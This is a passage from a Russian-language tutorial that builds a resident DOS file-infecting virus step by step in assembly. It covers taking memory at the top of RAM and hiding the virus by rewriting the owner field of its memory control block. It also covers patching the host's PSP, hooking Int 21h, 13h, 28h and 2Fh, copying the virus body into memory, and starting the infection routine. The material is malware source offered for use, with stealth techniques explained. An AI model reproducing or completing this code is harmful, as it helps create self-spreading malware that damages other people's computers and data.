int 21h ;мять будет
jc fresh_bytes ;занята ...
mov ah,48h ;Попросим DOS
;отдать свобод-
;ный блок нам .
mov bx,vir_par + 1 ;Запас в один
int 21h ;параграф ...
jc fresh_bytes ;Ошибка !
В приведенном фрагменте использованы функции :
4Ah - изменение размера блока памяти, а также
48h - выделение блока памяти .
Об их использовании вы можете прочесть в ПРИЛОЖЕ-
НИИ 1.
Работа вышеприведенных команд весьма проста и осо-
бых пояснений не требует .Стоит лишь заметить, что
для загрузки вирусного кода выделяется область в
в самом " верху " свободной оперативной памяти,что
является почти обязательным для подавляющего боль-
шинства вирусных программ .
2.9 Делаем вирус " незаметным "
К сожалению,выбранный нами способ поиска свободно-
го блока памяти имеет один скрытый недостаток .Как
вы, наверное, знаете, при завершении программы DOS
освобождает блок памяти, который эта программа за-
нимает .Кроме того, освобождаются также все блоки,
которые были распределены программе по ее запро-
сам .
Предположим, вирус стартовал из зараженной програ-
ммы, с помощью описанных ранее функций MS DOS на-
шел подходящий блок памяти и записал в него свой
код, предварительно переписав на этот код те или
иные прерывания .После этого он передает управле-
ние зараженной программе . Естественно, она когда-
нибудь завершится и передаст управление DOS . Но
ведь в этом случае блок, который занимает вирусный
код, будет освобожден, и при первой необходимости
этот код будет уничтожен,чтобы записать на его ме-
сто другую информацию !В результате произойдет мо-
ментальное " повисание " компьютера .
Очевидно, этого можно избежать, если память, зани-
маемая вирусом, будет оставаться занятой в течение
всего сеанса работы,и не будет освобождаться после
завершения зараженной программы .
Как показал эксперимент, для этой цели достаточно
в MCB,предшествующем выделенному для вирусного ко-
да блоку, сделать определенные изменения.Но снача-
ла мы немного расскажем о структуре Memory Control
Blocks ( MCB ) и их использовании .
Для того, чтобы следить за использованием памяти,
в MS DOS предусмотрена специальная структура - так
называемый блок управления памятью,или MCB - блок.
Такой блок помещается DOS непосредственно перед
каждым вновь выделяемым блоком памяти, и система
ведет специальный список MCB - блоков,просматривая
его при выполнении тех или иных действий, связан-
ных с распределением памяти.
MCB обязательно начинается на границе параграфа и
всегда занимает целый параграф.Конечно,MS DOS дол-
жна знать о том, где именно расположен первый блок
управления памятью.На этот блок указывает внутрен-
няя переменная DOS, значение и местоположение ко-
торой известно только операционной системе .
Рассмотрим теперь структуру MCB - блока .Итак :
Байт 0 - содержит код 5Ah,если данный блок яв-
ляется последним в цепочке MCB, и код
4Dh - в противном случае .
Байты 1, 2 - Содержат PID (Program IDentificator)
программы, для которой DOS выделяла
блок, или ноль, если блок свободен .
Байты 3, 4 - Содержат размер блока в параграфах .
Следующий блок расположен в памяти по
адресу : MCB_NEW = MCB_OLD + lenght +
+ 1.Здесь MCB_NEW - сегментный адрес,
по которому располагается следующий
MCB, MCB_OLD - сегментный адрес рас-
сматриваемого MCB,а lenght - содержи-
мое байтов 3, 4 этого блока .
Остальные одиннадцать байт блока не используются и
могут содержать любые данные. Но стоит заметить,
что повреждение байтов 1, 3 или 4 приводит к выда-
че сообщения :
Memory Allocation Error
System Halted
и немедленному " зависанию " компьютера .
А теперь вернемся к нашей программе .
Как показал эксперимент, достаточно подменить в
MCB, предшествующем вирусному коду, байты 1 и 2 .
Причем лучше всего записать вместо этих байт PID
какой - нибудь из уже загруженных в память про-
грамм.Этим достигается еще и незаметность вируса в
памяти.Советую вам попробовать загрузить несколько
TSR - программ и в MCB одной из них подменить бай-
ты 1 и 2 на PID какой - нибудь другой программы .
После этого нажмите в Volkov Commander клавиши ALT
и F5, и вы увидите очень интересный эффект .
Но дело в том, что для использования вышеприведен-
ного метода необходимо еще найти программу, на PID
которой наш вирус будет " паразитировать ".Сделать
это не так просто, как может показаться на первый
взгляд .И поэтому для облегчения нашей работы вме-
сто PID загруженной в память программы мы запишем
в MCB вируса сегментный адрес области данных DOS,
а именно : 0070h :
; _______________________________________________
;| Теперь свободный блок памяти найден |
;| ( сегментный адрес в AX ), и |
;| нужно записать в него код вируса ... |
;|_______________________________________________|
xor di,di ;Делаем вирус
mov bx,ax ;"невидимым" в
dec bx ;памяти ...
mov word ptr cs:[2],bx
mov es,bx
mov bx,0070h
mov es:[di+1],bx
Предыдущий фрагмент вернул нам сегментный адрес
выделенного для вируса блока памяти в регистре AX.
Приведенные программные строки очень просты, и
объяснять их работу не нужно. Следует только ска-
зать, что вирус фактически отнимает у DOS несколь-
ко килобайтов памяти, поэтому необходимо скоррек-
тировать PSP программы - носителя вируса.А именно-
уменьшить верхнюю границу блока памяти,выделенного
программе,на длину вирусного кода.Интересующая нас
величина находится по смещению 02h от начала PSP.
2.10 Получаем вектора прерываний
Итак, мы нашли блок памяти, в который часть ини-
циализации будет копировать вирусный код.Но прежде
чем инсталлировать вирус в память, необходимо уз-
нать адреса системных обработчиков прерываний.Ведь
вирус будет вызывать эти обработчики перед ( или
после ) выполнением собственных действий по обра-
ботке того или иного прерывания .Если исходные об-
работчики не будут получать управление, вычислите-
льная система придет в аварийное состояние .
Поэтому :
;_________________________________________________
mov es,di ;Получаем векто-
;ра прерываний
cli
mov di,084h ;Int 21h ...
mov bx,es:[di]
mov old_21h,bx
mov bx,es:[di+2]
mov old_21h_2,bx
mov di,0bch ;Int 2fh ...
mov bx,es:[di]
mov old_2fh,bx
mov bx,es:[di+2]
mov old_2fh_2,bx
mov di,04ch ;Int 13h ...
mov bx,es:[di]
mov old_13h,bx
mov bx,es:[di+2]
mov old_13h_2,bx
mov di,0a0h ;Int 28h ...
mov bx,es:[di]
mov old_28h,bx
mov bx,es:[di+2]
mov old_28h_2,bx
sti
Как видим, для определения адресов обработчиков
вирус обращается непосредственно к таблице векто-
ров прерываний.Секция инициализации будет перехва-
тывать прерывания: Int 21h, Int 13h, Int 28h и Int
2fh.Несколько позже мы разберемся, почему потребо-
валось перехватить именно их и приведем тексты ви-
русных обработчиков этих прерываний.
2.11 Копируем вирусный код в память
Теперь настало время переписать в память код виру-
са и подготовить его к работе в резидентном режи-
ме :
mov word ptr vir,9090h ;Подготавливаем
mov tg_infect,0 ;вирус к рези-
;дентной работе
mov es,ax ;И копируем его
xor di,di ;в память...
mov cx,vir_len
prg_copy: mov bl,byte ptr vir[di]
mov byte ptr es:[di],bl
inc di
loop prg_copy
В самом начале нужно сбросить в ноль переменную
" tg_infect ", чтобы вирус не занимался заражением
файлов, пока его об этом не попросят .Далее,в пер-
вые два байта кода вируса, который мы собираемся
записывать в память, следует записать две команды
NOP, или код 9090h ( см п. 2.2 ) .
Теперь тело вируса просто копируется в блок памя-
ти, сегментный адрес которого задан в регистре AX.
2.12 Устанавливаем вектора прерываний
на вирусные обработчики
Все подготовительные действия выполнены, и нам то-
лько осталось заменить адреса системных обработчи-
ков прерываний Int 21h, Int 13h, Int 28h и Int 2fh
на адреса вирусных обработчиков,после чего необхо-
димо передать управление зараженной программе .Это
мы сейчас и сделаем :
xor bx,bx ;Устанавливаем
;вектора преры-
mov es,bx ;ваний на вирус-
cli ;ные обработчики
mov di,084h
mov word ptr es:[di],to_new_21h
mov es:[di+2],ax ; Int 21h
mov di,0bch
mov word ptr es:[di],to_new_2fh
mov es:[di+2],ax ; Int 2fh
mov di,04ch
mov word ptr es:[di],to_new_13h
mov es:[di+2],ax ; Int 13h
mov di,0a0h
mov word ptr es:[di],0
mov es:[di+2],ax ; Int 28h
sti
jmp fresh_bytes ;Установка
;завершена ...
Модификация векторов прерываний в особых коммента-
риях не нуждается . А команда " jmp fresh_bytes "
передает управление на программный код,выполняющий
восстановление исходных трех байт программы - жер-
твы .
Таким образом, мы разработали секцию инициализации
нашего вируса . И поэтому настало время перейти к
созданию резидентной секции .Все оставшиеся пункты
этой главы будут посвящены именно разработке рези-
дентной части .
2.13 Пишем резидентную часть
Начало резидентной части мы создали в первых пунк-
тах главы ( см п. 2.5 ).А теперь просто продолжим,
и допишем до конца "заразную" часть вирусной про-
граммы :
infect: push cs ;DS = CS ...
pop ds
mov ax,ds ;TSR - коррекция
sub ax,11h ;DS ...
mov ds,ax
cmp tg_13h,0 ;INT 13h
;выполняется ?
je cs:all_right ;Нет ...
jmp cs:exit_zarasa ;Да - на выход
Сразу за меткой " infect " мы записали команды ко-
торые корректируют содержимое DS при работе в ре-
зидентном режиме .Если этого не сделать, то отно-
сительный адрес каждой ячейки памяти придется уме-